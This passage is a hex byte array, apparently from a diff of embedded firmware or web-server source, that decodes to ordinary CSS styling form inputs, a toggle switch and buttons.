0x66, 0x6C, 0x65, 0x78, 0x3A, 0x20, 0x31, 0x20, 0x31, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, - 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, - 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, - 0x70, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, - 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, - 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x29, 0x2C, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, - 0x29, 0x2C, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x2D, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, - 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, - 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, - 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x69, 0x7A, 0x69, 0x6E, - 0x67, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, - 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, - 0x65, 0x72, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5D, 0x3A, - 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, 0x75, - 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, - 0x72, 0x65, 0x61, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, - 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, - 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x31, 0x61, 0x30, 0x64, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, - 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x6F, 0x67, 0x67, 0x6C, 0x65, - 0x20, 0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x36, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x70, - 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x30, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, - 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, - 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x33, - 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, - 0x65, 0x66, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, - 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x34, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, - 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x22, 0x22, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x34, 0x70, - 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, 0x70, 0x65, 0x63, 0x74, 0x2D, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x3A, 0x20, 0x31, 0x20, 0x2F, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x20, 0x30, 0x2E, 0x34, 0x73, 0x2C, 0x20, 0x62, 0x61, - 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x34, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x2B, 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x2B, 0x20, - 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, - 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x58, 0x28, 0x32, 0x38, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x42, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, - 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x35, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, - 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, - 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, 0x32, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, - 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x32, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, - 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 